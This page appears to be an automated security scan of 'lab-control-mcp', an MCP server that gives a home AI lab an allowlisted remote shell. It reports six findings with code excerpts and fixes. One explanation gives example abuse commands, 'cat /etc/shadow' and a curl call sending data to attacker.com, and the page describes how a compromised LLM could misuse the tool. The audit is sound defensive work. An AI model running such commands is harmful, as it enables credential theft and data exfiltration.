BACK TO SEARCH
ArtJack/lab-control-mcpcritical

MCP server that operates a home AI lab — health checks, model management, free local inference, and a safety-gated remote shell (allowlist, no shell metacharacters, timeouts).

This MCP server operates a home AI lab by exposing tools for health checks, model management, free local inference via a LiteLLM gateway, and a safety...

purpose: This MCP server operates a home AI lab by exposingthreat: network exposed
Python · 0 · Jun 9, 2026 · Jun 10, 2026 · GITHUB ↗
RISK SCORE
0/ 100 risk
low findings+5
high findings+50
medium findings+45
capped at100
VULNERABILITY ANALYSIS · 6 findings in 6 blocks2 HIGH · 3 MEDIUM
HIGH1 finding
src/labcontrol/config.py:17
17DEFAULT_ALLOWED_COMMANDS = [
18    "ls", "pwd", "cat", "head", "tail", "wc", "stat", "file",
19    "df", "du", "free", "uptime", "whoami", "hostname", "date", "uname", "sw_vers", "id", "sysctl",
20    "ps", "pgrep", "vm_stat",
21    "grep", "echo",
22    "nvidia-smi",
23    "ollama list", "ollama ps", "ollama show", "ollama pull",
24    "docker ps", "docker logs", "docker stats", "docker images", "docker inspect", "docker compose ls",
25    "systemctl status", "systemctl is-active", "journalctl",
26    "curl -s", "ping -c", "ip", "ifconfig", "ss", "netstat",
27    "git status", "git log", "git pull", "git fetch", "git branch", "git rev-parse",
28    "python --version", "python3 --version", "pip list",
29    "wsl --status", "wsl -l",
30]
src/labcontrol/config.py:17src/labcontrol/ops.py:106src/labcontrol/ops.py:147src/labcontrol/server.py:113

// Network-exposed MCP with bearer-token auth; token may be leaked or brute-forced, or LLM may be compromised.

EXPLAINThe default allowlist includes commands like 'cat', 'curl -s', 'git pull', 'docker logs', 'systemctl status', and 'journalctl' which can be used to read arbitrary files, make network requests, or modify system state. While shell metacharacters are blocked, many of these commands accept arguments that can be abused. For example, 'cat /etc/shadow' would be allowed, 'curl -s http://attacker.com/exfil' would exfiltrate data, and 'git pull' could modify local repositories. The allowlist is overly permissive for a tool intended for safe lab operations.
IMPACTAn attacker (or compromised LLM) can read arbitrary files on the host, exfiltrate data via curl, modify git repositories, inspect Docker containers, and perform other actions beyond the intended scope of running simple diagnostic commands.
FIXRestrict the default allowlist to only truly safe, read-only commands that cannot accept arbitrary paths or arguments. Remove 'cat', 'curl', 'git pull', 'docker logs', 'journalctl', and similar commands. Use a more restrictive pattern matching (e.g., only allow specific command+argument combinations) rather than prefix matching.
HIGH1 finding
src/labcontrol/config.py:23
23"ollama list", "ollama ps", "ollama show", "ollama pull",
src/labcontrol/config.py:23src/labcontrol/ops.py:106src/labcontrol/ops.py:147src/labcontrol/server.py:113

// Network-exposed MCP; allows pulling arbitrary models without validation.

EXPLAINThe allowlist includes 'ollama pull' which allows pulling arbitrary models from the internet. This can be used to download large files, consume disk space, or potentially pull malicious models. While there is a dedicated 'pull_model' tool, the 'run_command' tool also allows this operation without the model name validation that 'pull_model' performs.
IMPACTAn attacker can pull arbitrary Ollama models, potentially filling disk space or downloading malicious content. This bypasses the validation in the dedicated 'pull_model' tool.
FIXRemove 'ollama pull' from the default allowlist, as the dedicated 'pull_model' tool already provides this functionality with proper validation.
MEDIUM1 finding
src/labcontrol/ops.py:85
85def gateway_generate(prompt: str, model: str = "chat", max_tokens: int = 512) -> dict:
86    """Run inference through the LiteLLM gateway (free local models by default)."""
87    if not cfg.master_key:
88        return {"error": "LITELLM_MASTER_KEY not set", "hint": "add it to .env (from /opt/ai-lab/.env on the Alienware)"}
89    try:
90        r = httpx.post(
91            f"{cfg.gateway_url}/v1/chat/completions",
92            headers={"Authorization": f"Bearer {cfg.master_key}"},
93            json={"model": model, "messages": [{"role": "user", "content": prompt}], "max_tokens": max_tokens},
94            timeout=120,
95        )
src/labcontrol/ops.py:85src/labcontrol/server.py:77

// Network-exposed MCP; allows arbitrary model selection.

EXPLAINThe 'model' parameter is passed directly to the LiteLLM gateway without validation. An attacker could specify arbitrary model names, potentially accessing paid models (like 'claude') or other models that the gateway has access to, bypassing the intended restriction to free local models.
IMPACTAn attacker could use paid or restricted models, incurring costs or accessing sensitive data. The documentation states that 'claude' is a paid escalation, but there is no check to prevent its use.
FIXValidate the model parameter against a list of allowed models. Reject models that are not in the allowlist.
MEDIUM1 finding
src/labcontrol/ops.py:112
112if not any(cmd == p or cmd.startswith(p + " ") for p in allowed):
113    return False, "command is not in the allowlist; extend LABCTL_ALLOWED_COMMANDS to permit it"
src/labcontrol/ops.py:112src/labcontrol/ops.py:147src/labcontrol/server.py:113

// Network-exposed MCP; allows unintended command execution via prefix matching.

EXPLAINThe allowlist check uses prefix matching (cmd.startswith(p + ' ')). This means that if a command like 'docker' is allowed, 'docker exec' would also be allowed because 'docker' is a prefix. Similarly, 'git' would allow 'git push', 'git reset --hard', etc. The prefix matching is too broad and can allow unintended subcommands.
IMPACTAn attacker can execute subcommands that were not explicitly intended to be allowed, such as 'docker exec' or 'git push', by using a prefix that matches an allowed command.
FIXUse exact matching or a more restrictive pattern (e.g., only allow specific command+argument combinations). Alternatively, require the full command string to match exactly one of the allowed entries.
MEDIUM1 finding
src/labcontrol/ops.py:90
90r = httpx.post(
91    f"{cfg.gateway_url}/v1/chat/completions",
92    headers={"Authorization": f"Bearer {cfg.master_key}"},
93    json={"model": model, "messages": [{"role": "user", "content": prompt}], "max_tokens": max_tokens},
94    timeout=120,
95)
src/labcontrol/ops.py:90src/labcontrol/server.py:77

// Network-exposed MCP; traffic may be intercepted if not using HTTPS.

EXPLAINThe LiteLLM master key is sent as a Bearer token in every request to the gateway. If the gateway URL is compromised or if there is a man-in-the-middle attack, the key could be exposed. Additionally, the key is stored in memory and could be leaked through error messages or logs.
IMPACTAn attacker who intercepts the traffic or gains access to logs could obtain the LiteLLM master key, allowing them to use the gateway for inference or potentially access other services.
FIXUse short-lived tokens or mutual TLS. Ensure the gateway URL is HTTPS in production. Avoid logging the key.
LOW1 finding
src/labcontrol/ops.py:164
164def pull_model(host: str, name: str, timeout: int = 600) -> dict:
165    """Pull an Ollama model on 'm4' (local) or 'gtx' (Alienware)."""
166    if host not in ("m4", "gtx"):
167        return {"ok": False, "error": "host must be 'm4' or 'gtx'"}
168    if not _valid_model_name(name):
169        return {"ok": False, "error": "invalid model name"}
170    command = f"ollama pull {name}"
171    res = run_local(command, timeout) if host == "m4" else run_remote(command, timeout)
src/labcontrol/ops.py:164src/labcontrol/server.py:89

// Network-exposed MCP; requires bypassing character validation.

EXPLAINWhile the host parameter is validated against a fixed set, the model name validation only checks for allowed characters. However, the command is constructed by concatenation, and if the model name contains spaces or other characters that bypass the validation, it could lead to command injection. The validation set includes ':' and '/' which are used in model names but could also be used for path traversal if not properly handled.
IMPACTLimited; the validation is fairly strict, but any bypass could allow pulling unintended models or executing additional commands.
FIXUse shlex.quote() on the model name when constructing the command, or use a subprocess call with arguments instead of a shell command.
6/10/2026
Findings are produced by automated LLM analysis and may include false positives or miss issues. Verify independently before acting.